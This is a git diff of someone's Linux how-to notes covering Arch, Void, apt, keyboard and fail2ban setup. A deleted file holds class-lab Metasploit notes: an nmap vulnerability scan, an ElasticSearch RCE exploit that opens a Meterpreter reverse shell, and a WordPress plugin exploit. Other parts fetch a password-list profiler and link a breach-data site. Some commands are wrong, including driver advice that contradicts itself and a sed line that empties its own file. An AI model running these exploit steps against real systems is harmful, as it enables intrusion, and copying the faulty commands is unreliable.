> vgcreate usb /dev/mapper/crypt
|
||||
|
||||
|
||||
> lvcreate -L 8GB usb -n swap
|
||||
> lvcreaate -L 30G usb -n root
|
||||
> lvcreate -l 100%FREE usb -n home
|
||||
|
||||
> mkfs.ext4 /dev/mapper/usb-home
|
||||
mkfs.ext4 /dev/mapper/usb-root
|
||||
> mkswap /dev/mapper/usb-swap
|
||||
|
||||
> mkfs.ext2 /dev/sda1
|
||||
|
||||
> mount /dev/mapper/usb-root /mnt
|
||||
mkdir /mnt/home
|
||||
> mount /dev/mapper/usb-home /mnt/home
|
||||
mkdir /mnt/boot
|
||||
> mount /dev/sda1 /mnt/boot
|
||||
swapon /dev/mapper/usb-swap
|
||||
|
||||
pacstrap -i /mnt base base-devel efibootmgr grub
|
||||
|
||||
genfstab -U /mnt >> /mnt/etc/fstab
|
||||
|
||||
arch-chroot /mnt
|
||||
|
||||
############ new root #############
|
||||
|
||||
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
|
||||
# uncomment en_GT.UTF-8
|
||||
> vi /etc/locale.gen
|
||||
|
||||
> locale-gen
|
||||
|
||||
> # add `LANG=en_GB.UTF-8` to /etc/locale.conf
|
||||
|
||||
> vi /etc/locale.conf
|
||||
|
||||
> echo crypt > /etc/hostname
|
||||
|
||||
> # make sure keyboard encrypt lvm2 are on the list of HOOKS
|
||||
|
||||
> vi /etc/mkinitcpio.conf
|
||||
|
||||
> grub-install /dev/sda
|
||||
|
||||
> vi /etc/default/grub
|
||||
edit the GRUB_CMDLINE_LINUX=""
|
||||
|
||||
`GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:usb root=/dev/mapper/usb-root"`
|
||||
|
||||
> grub-mkconfig -o /boot/grub/grub.cfg
|
||||
|
||||
> mkinitcpio -p linux
|
||||
|
||||
> pacman -S wpa_supplicant dialog
|
||||
|
@ -6,14 +6,20 @@ tags: [ "Documentation", "distros" ]
|
||||
|
||||
Update font-cache:
|
||||
|
||||
> fc-cache
|
||||
```bash
|
||||
fc-cache
|
||||
```
|
||||
|
||||
List fonts:
|
||||
|
||||
> fc-list
|
||||
```bash
|
||||
fc-list
|
||||
```
|
||||
|
||||
Grab the part of the font name you need for Xresources:
|
||||
|
||||
> fc-list | cut -d: -f2
|
||||
```bash
|
||||
fc-list | cut -d: -f2
|
||||
```
|
||||
|
||||
Add field 3 for styles.
|
||||
|
@ -13,13 +13,17 @@ Include = /etc/pacman.d/mirrorlist
|
||||
|
||||
And update:
|
||||
|
||||
> sudo pacman -Syu
|
||||
```bash
|
||||
sudo pacman -Syu
|
||||
```
|
||||
|
||||
# Step 2: Check Card Manufacturer
|
||||
|
||||
Check your graphics card type:
|
||||
|
||||
> lspci | grep VGA
|
||||
```bash
|
||||
lspci | grep VGA
|
||||
```
|
||||
|
||||
# Step 3: Install Drivers
|
||||
|
||||
@ -27,23 +31,33 @@ Check your graphics card type:
|
||||
|
||||
If you see `Nvidia`, then install the intel drivers:
|
||||
|
||||
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
|
||||
```bash
|
||||
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
|
||||
```
|
||||
|
||||
## Step 3B
|
||||
|
||||
If you see `Intel`, then install the intel drivers:
|
||||
|
||||
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
|
||||
```bash
|
||||
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
|
||||
```
|
||||
|
||||
## Step 3C
|
||||
|
||||
If you see `AMD`, then check your card support `vulkan`:
|
||||
|
||||
> yay -S gpu-viewer
|
||||
```bash
|
||||
yay -S gpu-viewer
|
||||
```
|
||||
|
||||
> vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
|
||||
```bash
|
||||
vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
|
||||
```
|
||||
|
||||
You should see 'true' here.
|
||||
|
||||
> sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
|
||||
```bash
|
||||
sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
|
||||
```
|
||||
|
||||
|
@ -7,11 +7,15 @@ Packages are kept in /var/cache/pacman/pkg.
|
||||
|
||||
Delete unused old packages with:
|
||||
|
||||
> sudo pacman -Sc
|
||||
```bash
|
||||
sudo pacman -Sc
|
||||
```
|
||||
|
||||
Signatures are handled by the pacman-key, initially set up with:
|
||||
|
||||
> sudo pacman-key --populate archlinux
|
||||
```bash
|
||||
sudo pacman-key --populate archlinux
|
||||
```
|
||||
|
||||
And refreshed with:
|
||||
|
||||
@ -19,23 +23,33 @@ sudo pacman-key --refresh-keys
|
||||
|
||||
If you have usigned keys, you can refresh with:
|
||||
|
||||
> sudo pacman -Sc
|
||||
```bash
|
||||
sudo pacman -Sc
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
> sudo pacman -Scc
|
||||
```bash
|
||||
sudo pacman -Scc
|
||||
```
|
||||
|
||||
Reset all keys with:
|
||||
|
||||
> sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
|
||||
```bash
|
||||
sudo rm -r /etc/pacmand.d/gnupg/ && sudo pacman-key --init
|
||||
```
|
||||
|
||||
If you're constantly getting 'everything corrupted, nothing upgraded', try running:
|
||||
|
||||
> sudo pacman -S archlinux-keyring
|
||||
```bash
|
||||
sudo pacman -S archlinux-keyring
|
||||
```
|
||||
|
||||
List all orphaned packages:
|
||||
|
||||
> sudo pacman -Qtdq
|
||||
```bash
|
||||
sudo pacman -Qtdq
|
||||
```
|
||||
|
||||
## Cleaning Config Files
|
||||
|
||||
|
@ -8,17 +8,27 @@ tags: [ "Documentation", "distros" ]
|
||||
|
||||
Messed up a package's configuration files?
|
||||
|
||||
> sudo apt-get purge [thing]
|
||||
```bash
|
||||
sudo apt-get purge [thing]
|
||||
```
|
||||
|
||||
> sudo apt autoremove
|
||||
```bash
|
||||
sudo apt autoremove
|
||||
```
|
||||
|
||||
Check if you still have related things:
|
||||
|
||||
> apt search [thing]
|
||||
```bash
|
||||
apt search [thing]
|
||||
```
|
||||
|
||||
> sudo apt-get install [ thing ]
|
||||
```bash
|
||||
sudo apt-get install [ thing ]
|
||||
```
|
||||
|
||||
Still have problems?
|
||||
|
||||
> sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
|
||||
```bash
|
||||
sudo dpgk --force-confmiss -i /var/cache/apt/archives/[thing]
|
||||
```
|
||||
|
||||
|
@ -1,90 +0,0 @@
|
||||
cd /usr/share/X11/xkb/symbols/
|
||||
cp pc pc.bak
|
||||
echo "pc backup copied - this isn't tested" >> ~/install.log
|
||||
sed s/Caps_Lock/Escape/ pc > pc
|
||||
cd
|
||||
echo "deb https://dl.bintray.com/hawkeye116477/waterfox-deb release main" | sudo tee -a /etc/apt/sources.list
|
||||
curl https://bintray.com/user/downloadSubjectPublicKey?username=hawkeye116477 | sudo apt-key add -
|
||||
sudo apt-get update && sudo apt-get install waterfox
|
||||
|
||||
```
|
||||
|
||||
echo "deb http://http.kali.org/ /kali main contrib non-free
|
||||
deb http://http.kali.org/ /wheezy main contrib non-free
|
||||
deb http://http.kali.org/kali kali-dev main contrib non-free
|
||||
deb http://http.kali.org/kali kali-dev main/debian-installer
|
||||
deb-src http://http.kali.org/kali kali-dev main contrib non-free
|
||||
deb http://http.kali.org/kali kali main contrib non-free
|
||||
deb http://http.kali.org/kali kali main/debian-installer
|
||||
deb-src http://http.kali.org/kali kali main contrib non-free
|
||||
deb http://security.kali.org/kali-security kali/updates main contrib non-free
|
||||
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free" >> /etc/apt/sources.list
|
||||
|
||||
```
|
||||
|
||||
setxkbmap gb
|
||||
|
||||
# gksudo firefox -install-global-extension addon-1865-latest.xpi
|
||||
#install addon with cli
|
||||
apt-get -y install openvpn
|
||||
cd /etc/openvpn
|
||||
|
||||
|
||||
sudo wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip
|
||||
|
||||
unzip ovpn.zip
|
||||
|
||||
rm ovpn.zip
|
||||
|
||||
sudo apt-get install openvpn network-manager-openvpn network-manager-openvpn-gnome
|
||||
|
||||
wget https://github.com/maestrogerardo/i3-gaps-deb/archive/master.zip
|
||||
|
||||
echo "if you don't have openvpn options in your gnome desktop, this just isn't going to work. Get the openvpn manager, called 'openvpn-service-gnome' or some such" >> ~/*log
|
||||
unzip ma*
|
||||
|
||||
rm ma*zip
|
||||
|
||||
cd i3-g*
|
||||
|
||||
sudo apt -y update;sudo apt -y upgrade
|
||||
|
||||
./i3*
|
||||
|
||||
cd
|
||||
|
||||
mv i3/ .config
|
||||
|
||||
sudo apt install feh compton ranger w3m cmus scrot
|
||||
|
||||
sudo apt install tor
|
||||
|
||||
wget https://github.com/dpayne/cli-visualizer/archive/master.zip
|
||||
|
||||
echo "If vis is playing funny-buggers, enter the install files and input the commands manually. May be an architecture problem as I don't have arm cpu" >> *log
|
||||
|
||||
unzip master.zip
|
||||
|
||||
rm master.zip
|
||||
|
||||
cd cli-vis*
|
||||
|
||||
apt install libfftw3-dev libncursesw5-dev libpulse-dev
|
||||
|
||||
./install.sh
|
||||
|
||||
cd
|
||||
|
||||
mkdir Images;mkdir Images/Wallpapers;mkdir Images/Screenshots
|
||||
|
||||
apt install -y encfs cmatrix cowsay
|
||||
|
||||
mkdir Tools
|
||||
|
||||
cd Tools
|
||||
|
||||
wget https://github.com/Mebus/cupp/archive/master.zip
|
||||
|
||||
unzip master.zip;rm master.zip
|
||||
|
||||
cd
|
@ -1,128 +0,0 @@
|
||||
---
|
||||
title: "metasploit"
|
||||
tags: [ "Documentation", "distros" ]
|
||||
---
|
||||
> service postgresql start
|
||||
|
||||
> systemctl status postgresql
|
||||
|
||||
> msfdb init
|
||||
|
||||
start the metasploit
|
||||
|
||||
> msfconfole
|
||||
|
||||
show exploits
|
||||
|
||||
Examples:
|
||||
|
||||
> info exploit/something
|
||||
|
||||
> search cve:2019
|
||||
|
||||
## Basic theory
|
||||
|
||||
There are vulnerabilities and payloads.
|
||||
|
||||
Payloads would typically give us a shell on the remote system. Android, Linux and Windows require different shells.
|
||||
|
||||
You can attach via 'reverse' or 'bind'. A 'bind' is best, as the user opens a port, and you connect. Mostly, you have to use 'reverse', which opens a connection to you.
|
||||
|
||||
# Notes for Class
|
||||
|
||||
Victim: 172.18.3.26
|
||||
|
||||
> nmap -Pn -sV 172.18.3.26 --script=vuln
|
||||
|
||||
> nmap -Pn -sV 172.18.3.26
|
||||
|
||||
Output:
|
||||
|
||||
```
|
||||
|
||||
Service scan Timing: About 66.67% done; ETC: 15:28 (0:00:10 remaining)
|
||||
Nmap scan report for 172.18.3.26
|
||||
Host is up (0.016s latency).
|
||||
Not shown: 988 filtered ports
|
||||
PORT STATE SERVICE VERSION
|
||||
21/tcp open ftp Microsoft ftpd
|
||||
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
|
||||
80/tcp open http Microsoft IIS httpd 7.5
|
||||
4848/tcp open appserv-http?
|
||||
8022/tcp open oa-system?
|
||||
8080/tcp open http Sun GlassFish Open Source Edition 4.0
|
||||
8383/tcp open ssl/m2mservices?
|
||||
9200/tcp open tcpwrapped
|
||||
49153/tcp open unknown
|
||||
49154/tcp open unknown
|
||||
49159/tcp open unknown
|
||||
49161/tcp open tcpwrapped
|
||||
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
|
||||
SF-Port4848-TCP:V=7.80%I=7%D=9/14%Time=5D7D06F5%P=x86_64-pc-linux-gnu%r(Ge
|
||||
SF:tRequest,91,"HTTP/1\.1\x20302\x20Found\r\nLocation:\x20https://metasplo
|
||||
SF:itable3-win2k8:4848/\r\nDate:\x20Sat,\x2014\x20Sep\x202019\x2015:27:44\
|
||||
SF:x20GMT\r\nConnection:\x20close\r\nContent-Length:\x200\r\n\r\n");
|
||||
MAC Address: D4:25:8B:B6:85:F5 (Intel Corporate)
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
|
||||
```
|
||||
|
||||
Note this one:
|
||||
|
||||
`9200/tcp open tcpwrapped`
|
||||
|
||||
Apparently that's 'elasticsearch', so in metasploit we can do:
|
||||
|
||||
`search elasticsearch`
|
||||
|
||||
```
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/scanner/elasticsearch/indices_enum normal Yes ElasticSearch Indices Enumeration Utility
|
||||
1 auxiliary/scanner/http/elasticsearch_traversal normal Yes ElasticSearch Snapshot API Directory Traversal
|
||||
2 exploit/multi/elasticsearch/script_mvel_rce 2013-12-09 excellent Yes ElasticSearch Dynamic Script Arbitrary Java Execution
|
||||
3 exploit/multi/elasticsearch/search_groovy_script 2015-02-11 excellent Yes ElasticSearch Search Groovy Sandbox Bypass
|
||||
4 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
|
||||
|
||||
```
|
||||
|
||||
If you want to use 2, `use 2` or `use/multi/ela` then tab out.
|
||||
|
||||
> show options
|
||||
|
||||
> set rhost 172.18.3.26
|
||||
|
||||
The remote port's already set at this point.
|
||||
|
||||
We've so far done use, rhost, and port.
|
||||
|
||||
> exploit
|
||||
|
||||
```
|
||||
[*] Started reverse TCP handler on 172.18.3.112:4444
|
||||
[*] Trying to execute arbitrary Java...
|
||||
[*] Discovering remote OS...
|
||||
[+] Remote OS is 'Windows Server 2008 R2'
|
||||
[*] Discovering TEMP path
|
||||
[+] TEMP path identified: 'C:\Windows\TEMP\'
|
||||
[*] Sending stage (53845 bytes) to 172.18.3.26
|
||||
[*] Meterpreter session 1 opened (172.18.3.112:4444 -> 172.18.3.26:49311) at 2019-09-14 15:38:49 +0000
|
||||
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\LXjUK.jar' on the target
|
||||
```
|
||||
|
||||
> dir
|
||||
|
||||
# Next Wordpress
|
||||
|
||||
http://172.18.3.26:8585/wordpress/
|
||||
|
||||
Back to normal shell.
|
||||
|
||||
> search wordpress ninja
|
||||
|
||||
|
||||
> use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
|
||||
|
||||
|
@ -1,8 +0,0 @@
|
||||
https://coldwallet.io/
|
||||
|
||||
https://www.it-vn.com/2019/07/configure-ssh-to-avoid-from-shodan-and.html
|
||||
|
||||
https://wickr.com
|
||||
|
||||
https://weleakinfo.com/
|
||||
|
@ -1,9 +0,0 @@
|
||||
#!/bin/bash
|
||||
# run as root
|
||||
[ -z $1 ] && echo set a disk && exit 1
|
||||
parted /dev/sd$1 --script -- mklabel msdos
|
||||
parted /dev/sd$1 --script -- mkpart primary 0 300M
|
||||
parted /dev/sd$1 --script -- mkpart primary 300M 100%
|
||||
|
||||
mkfs.vfat /dev/sd"$1"1
|
||||
mkfs.ext4 /dev/sd"$1"2
|
@ -1,15 +0,0 @@
|
||||
---
|
||||
title: "npm"
|
||||
tags: [ "Documentation", "Distros" ]
|
||||
---
|
||||
package.json is the basic configuration file.
|
||||
|
||||
Everything is per-directory.
|
||||
|
||||
> npm install x
|
||||
|
||||
This'll install x in the current directory.
|
||||
|
||||
> npm init
|
||||
|
||||
> npm install express --save
|
@ -1,18 +0,0 @@
|
||||
---
|
||||
title: "yum"
|
||||
tags: [ "Documentation", "Distros" ]
|
||||
---
|
||||
# Overview
|
||||
|
||||
> yum search [package]
|
||||
|
||||
> yum list openssh
|
||||
|
||||
> yum install [package1] [package2]
|
||||
|
||||
> yum check-updates
|
||||
|
||||
> yum update
|
||||
|
||||
> yum remove [package1] [package2]
|
||||
|
@ -5,10 +5,11 @@ tags: [ "Documentation", "Void" ]
|
||||
|
||||
Make the autologin service:
|
||||
|
||||
> cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
|
||||
|
||||
```bash
|
||||
cp -R /etc/sv/agetty-tty1 /etc/sv/agetty-autologin-tty1
|
||||
```
|
||||
|
||||
```sh
|
||||
if [ -x /sbin/agetty -o -x /bin/agetty ]; then
|
||||
# util-linux specific settings
|
||||
if [ "${tty}" = "tty1" ]; then
|
||||
@ -24,7 +25,7 @@ TERM_NAME=linux
|
||||
|
||||
Then stick this at the end of the bashrc:
|
||||
|
||||
```
|
||||
```sh
|
||||
# autologin on tty1
|
||||
if [ -z "$DISPLAY" ] && [ "$(fgconsole)" -eq 1 ]; then
|
||||
exec startx
|
||||
|
@ -4,13 +4,19 @@ tags: [ "Documentation", "Void" ]
|
||||
---
|
||||
Monitor all processes:
|
||||
|
||||
> extrace
|
||||
```bash
|
||||
extrace
|
||||
```
|
||||
|
||||
Monitor one process:
|
||||
|
||||
> extrace ls
|
||||
```bash
|
||||
extrace ls
|
||||
```
|
||||
|
||||
Monitor a script:
|
||||
|
||||
> ./script.sh | extrace
|
||||
```bash
|
||||
./script.sh | extrace
|
||||
```
|
||||
|
||||
|
@ -6,35 +6,49 @@ tags: [ "Documentation", "Void" ]
|
||||
|
||||
All possible services are in:
|
||||
|
||||
> ls /etc/sv
|
||||
```bash
|
||||
ls /etc/sv
|
||||
```
|
||||
|
||||
The computer only uses those in /var/service, so symbolic links are made to start and stop services.
|
||||
|
||||
> ls /var/service
|
||||
```bash
|
||||
ls /var/service
|
||||
```
|
||||
|
||||
# Start Services
|
||||
|
||||
Enable the sshd service, so that ssh will work every time you boot up:
|
||||
|
||||
> sudo ln -s /etc/sv/sshd /var/service
|
||||
```bash
|
||||
sudo ln -s /etc/sv/sshd /var/service
|
||||
```
|
||||
|
||||
Then start the service:
|
||||
|
||||
> sudo sv start sshd
|
||||
```bash
|
||||
sudo sv start sshd
|
||||
```
|
||||
|
||||
# Stop Services
|
||||
|
||||
Stop `mpd` with:
|
||||
|
||||
> sudo sv stop mpd
|
||||
```bash
|
||||
sudo sv stop mpd
|
||||
```
|
||||
|
||||
And stop it automatically loading at startup with:
|
||||
|
||||
> sudo rm /var/service/mpd
|
||||
```bash
|
||||
sudo rm /var/service/mpd
|
||||
```
|
||||
|
||||
You can also just make a file called 'down':
|
||||
|
||||
> sudo touch /var/service/mpd/down
|
||||
```bash
|
||||
sudo touch /var/service/mpd/down
|
||||
```
|
||||
|
||||
This means you can start and stop the service without making symbolic links, but mpd will be 'down' when the computer starts.
|
||||
|
||||
@ -49,5 +63,7 @@ If unsure, use `#!/bin/bash` as the first line. When Void Linux says `sh`, it m
|
||||
|
||||
Confirm the shell you'll use:
|
||||
|
||||
> ls -l $(which sh)
|
||||
```bash
|
||||
ls -l $(which sh)
|
||||
```
|
||||
|
||||
|
@ -6,7 +6,9 @@ tags: [ "Documentation", "Void" ]
|
||||
|
||||
Update all packages with
|
||||
|
||||
> sudo xbps-install -Su
|
||||
```bash
|
||||
sudo xbps-install -Su
|
||||
```
|
||||
|
||||
See [xbps](xbps.md) for more.
|
||||
|
||||
@ -15,21 +17,29 @@ See [xbps](xbps.md) for more.
|
||||
Void keeps *every* version of everything you install, so you can roll back to them.
|
||||
Remove old packages with:
|
||||
|
||||
> sudo xbps-remove -O
|
||||
```bash
|
||||
sudo xbps-remove -O
|
||||
```
|
||||
|
||||
# vkpurge
|
||||
|
||||
Old Void kernels are left on the boot partition. List them with:
|
||||
|
||||
> vkpurge list
|
||||
```bash
|
||||
vkpurge list
|
||||
```
|
||||
|
||||
Remove one with:
|
||||
|
||||
> vkpurge 2.8.2_4
|
||||
```bash
|
||||
vkpurge 2.8.2_4
|
||||
```
|
||||
|
||||
Remove all but the latest with:
|
||||
|
||||
> vkpurge rm all
|
||||
```bash
|
||||
vkpurge rm all
|
||||
```
|
||||
|
||||
# Brightness
|
||||
|
||||
@ -38,9 +48,10 @@ You can change this number to change the screen brightness.
|
||||
|
||||
For an easy utility, install `brightnessctl`.
|
||||
|
||||
> brightnessctl s 10%-
|
||||
|
||||
> brightnessctl s 10%+
|
||||
```bash
|
||||
brightnessctl s 10%-
|
||||
brightnessctl s 10%+
|
||||
```
|
||||
|
||||
# Other Tricks
|
||||
|
||||
|
@ -6,61 +6,87 @@ tags: [ "Documentation", "Void" ]
|
||||
|
||||
Look for cowsay in the repository:
|
||||
|
||||
> xbps-query --repository --search cowsay
|
||||
```bash
|
||||
xbps-query --repository --search cowsay
|
||||
```
|
||||
|
||||
Short version:
|
||||
|
||||
> xbps-query -Rs cowsay
|
||||
```bash
|
||||
xbps-query -Rs cowsay
|
||||
```
|
||||
|
||||
Search with regex:
|
||||
|
||||
> xbps-query --regex -Rs 'cow(s)?\w'
|
||||
```bash
|
||||
xbps-query --regex -Rs 'cow(s)?\w'
|
||||
```
|
||||
|
||||
List what's required for cowsay
|
||||
|
||||
> xbps-query -x cowsay
|
||||
```bash
|
||||
xbps-query -x cowsay
|
||||
```
|
||||
|
||||
What packages are orphaned (i.e. installed as a dependency for another package, which has since been removed)?
|
||||
|
||||
> xbps-query -O
|
||||
```bash
|
||||
xbps-query -O
|
||||
```
|
||||
|
||||
Show cowsay's dependencies.
|
||||
|
||||
> xbps-query -x cowsay
|
||||
```bash
|
||||
xbps-query -x cowsay
|
||||
```
|
||||
|
||||
This shows `perl`.
|
||||
To see what else depends on perl:
|
||||
|
||||
> xbps-query -X perl
|
||||
```bash
|
||||
xbps-query -X perl
|
||||
```
|
||||
|
||||
List all manually installed software.
|
||||
|
||||
> xbps-query -m
|
||||
```bash
|
||||
xbps-query -m
|
||||
```
|
||||
|
||||
## Install
|
||||
|
||||
Install cowsay
|
||||
|
||||
> xbps-install cowsay
|
||||
```bash
|
||||
xbps-install cowsay
|
||||
```
|
||||
|
||||
Upgrade current packages.
|
||||
`-R` looks at repositories, `-s` makes a sloppy search (for rough matches).
|
||||
|
||||
> xbps-install -Suv
|
||||
```bash
|
||||
xbps-install -Suv
|
||||
```
|
||||
|
||||
## Remove/ Uninstall
|
||||
|
||||
Remove cowsay
|
||||
|
||||
> xbps-remove cowsay
|
||||
```bash
|
||||
xbps-remove cowsay
|
||||
```
|
||||
|
||||
...and all dependencies
|
||||
|
||||
> xbps-remove -R cowsay
|
||||
```bash
|
||||
xbps-remove -R cowsay
|
||||
```
|
||||
|
||||
Remove all orphaned dependencies.
|
||||
|
||||
> xbps-remove -o
|
||||
```bash
|
||||
xbps-remove -o
|
||||
```
|
||||
|
||||
Show information about cowsay
|
||||
|
||||
@ -68,13 +94,19 @@ Show information about cowsay
|
||||
|
||||
Reinstall cowsay
|
||||
|
||||
> xbps-install -f cowsay
|
||||
```bash
|
||||
xbps-install -f cowsay
|
||||
```
|
||||
|
||||
Look for broken packages.
|
||||
|
||||
> sudo xbps-pkgdb -a
|
||||
```bash
|
||||
sudo xbps-pkgdb -a
|
||||
```
|
||||
|
||||
And if you've found any, you might reconfigure all packages forcefully:
|
||||
|
||||
> sudo xbps-reconfigure -af
|
||||
```bash
|
||||
sudo xbps-reconfigure -af
|
||||
```
|
||||
|
||||
|
@ -3,6 +3,8 @@ title: "brightness"
|
||||
tags: [ "Documentation", "hardware" ]
|
||||
---
|
||||
# Brightness
|
||||
/sys/class/backlight/*/brightness
|
||||
|
||||
Edit this file:
|
||||
|
||||
> /sys/class/backlight/*/brightness
|
||||
|
||||
|
@ -6,11 +6,15 @@ tags: [ "Documentation", "keyboard" ]
|
||||
|
||||
Set layout to British English.
|
||||
|
||||
> setxkbmap -layout gb
|
||||
```bash
|
||||
setxkbmap -layout gb
|
||||
```
|
||||
|
||||
Or Polish with:
|
||||
|
||||
> setxkbmap -layout pl
|
||||
```bash
|
||||
setxkbmap -layout pl
|
||||
```
|
||||
|
||||
| Language | short |
|
||||
|:--------|:------|
|
||||
@ -19,7 +23,9 @@ Or Polish with:
|
||||
|
||||
Set 'alt + shift', as the command which cycles through the British English, Polish and Serbian keyboard layout.
|
||||
|
||||
> setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
|
||||
```bash
|
||||
setxkbmap -layout gb,pl,rs -option grp:alt_shift_toggle
|
||||
```
|
||||
|
||||
## Alt_GR
|
||||
|
||||
@ -33,22 +39,30 @@ Remap, e.g., the right Windows key, to Alt_Gr.
|
||||
|
||||
Copy your keymap, e.g. if it's polish-1, then:
|
||||
|
||||
> cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
|
||||
```bash
|
||||
cp /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz /usr/share/kbd/keymaps/*custom*.map.gz
|
||||
```
|
||||
|
||||
Then change that map:
|
||||
|
||||
> sudo vim /usr/share/kbd/keymaps/custom.map.gz
|
||||
```bash
|
||||
sudo vim /usr/share/kbd/keymaps/custom.map.gz
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
You can switch Escape and Caps Lock with a single line:
|
||||
|
||||
> sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
|
||||
```bash
|
||||
sudo sh -c "gunzip -c /usr/share/kbd/keymaps/i386/qwerty/pl1.map.gz | sed 's/ Escape/ PLACEHOLDER/ ; s/Caps_Lock/Escape/g ; s/PLACEHOLDER/Caps_Lock/' | gzip > /usr/share/kbd/keymaps/custom.map.gz"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Change the default keyboard mapping to the custom map:
|
||||
|
||||
> echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
|
||||
```bash
|
||||
echo 'KEYMAP="/usr/share/kbd/keymaps/*custom*.map.gz"' | sudo tee /etc/vconsole.conf
|
||||
```
|
||||
|
||||
Reboot to have changes take effect.
|
||||
|
@ -4,7 +4,9 @@ tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
# SSH Daemon Jail
|
||||
|
||||
> sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
|
||||
```bash
|
||||
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.d/ssh.local
|
||||
```
|
||||
|
||||
```
|
||||
[sshd]
|
||||
@ -14,11 +16,17 @@ ignoreip = 127.0.0.1/8 ::1,192.168.0.0/16 ::1
|
||||
|
||||
```
|
||||
|
||||
> sudo systemctl restart fail2ban
|
||||
```bash
|
||||
sudo systemctl restart fail2ban
|
||||
```
|
||||
|
||||
> sudo fail2ban-client status
|
||||
```bash
|
||||
sudo fail2ban-client status
|
||||
```
|
||||
|
||||
> sudo fail2ban-client status sshd
|
||||
```bash
|
||||
sudo fail2ban-client status sshd
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
@ -4,23 +4,23 @@ tags: [ "Documentation" ]
|
||||
---
|
||||
Set up a file like this, called `troubleshooting.txt`.
|
||||
|
||||
```
|
||||
[ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
|
||||
> [ Is there an IP address? ] -- no --> [ Check NIC driver, dmesg ]
|
||||
>
|
||||
> [ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
|
||||
>
|
||||
> [ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
|
||||
>
|
||||
> [ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
|
||||
>
|
||||
> [ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
|
||||
>
|
||||
> [ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
|
||||
|
||||
[ Is there an IP address? ] -- yes --> [ Can you ping the router? ]
|
||||
|
||||
[ Can you ping the router? ] -- no --> [ Check cables, router, and switches ]
|
||||
|
||||
[ Can you ping the router? ] -- yes --> [ Can you ping a DNS address? ]
|
||||
|
||||
[ Can you ping a DNS address? ] -- no --> [ Trying pinging 8.8.8.8 ]
|
||||
|
||||
[ Can you ping a DNS address? ] -- yes --> [ Traceroute ]
|
||||
|
||||
```
|
||||
Then translate it with:
|
||||
|
||||
> graph-easy troubleshooting.txt --as boxart
|
||||
```bash
|
||||
graph-easy troubleshooting.txt --as boxart
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
@ -37,14 +37,20 @@ Then translate it with:
|
||||
Many options allow different displays.
|
||||
Try placing this in a file:
|
||||
|
||||
```
|
||||
[ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
|
||||
[ One ] => { arrow-style: closed; } [ Three ]
|
||||
[ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
|
||||
[ One ] .. Test\n label ..> [ Four ]
|
||||
[ Three ] { border-style: dashed; }
|
||||
.. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
|
||||
[ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
|
||||
[ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
|
||||
[ no Network ] --> [ Is there an IP address? ]
|
||||
```
|
||||
> [ One ] { fill: seagreen; color: white; } -- label --> [ Two ] { shape: triangle; }
|
||||
>
|
||||
> [ One ] => { arrow-style: closed; } [ Three ]
|
||||
>
|
||||
> [ Five ] { fill: maroon; color: yellow; } <=> [ Three ]
|
||||
>
|
||||
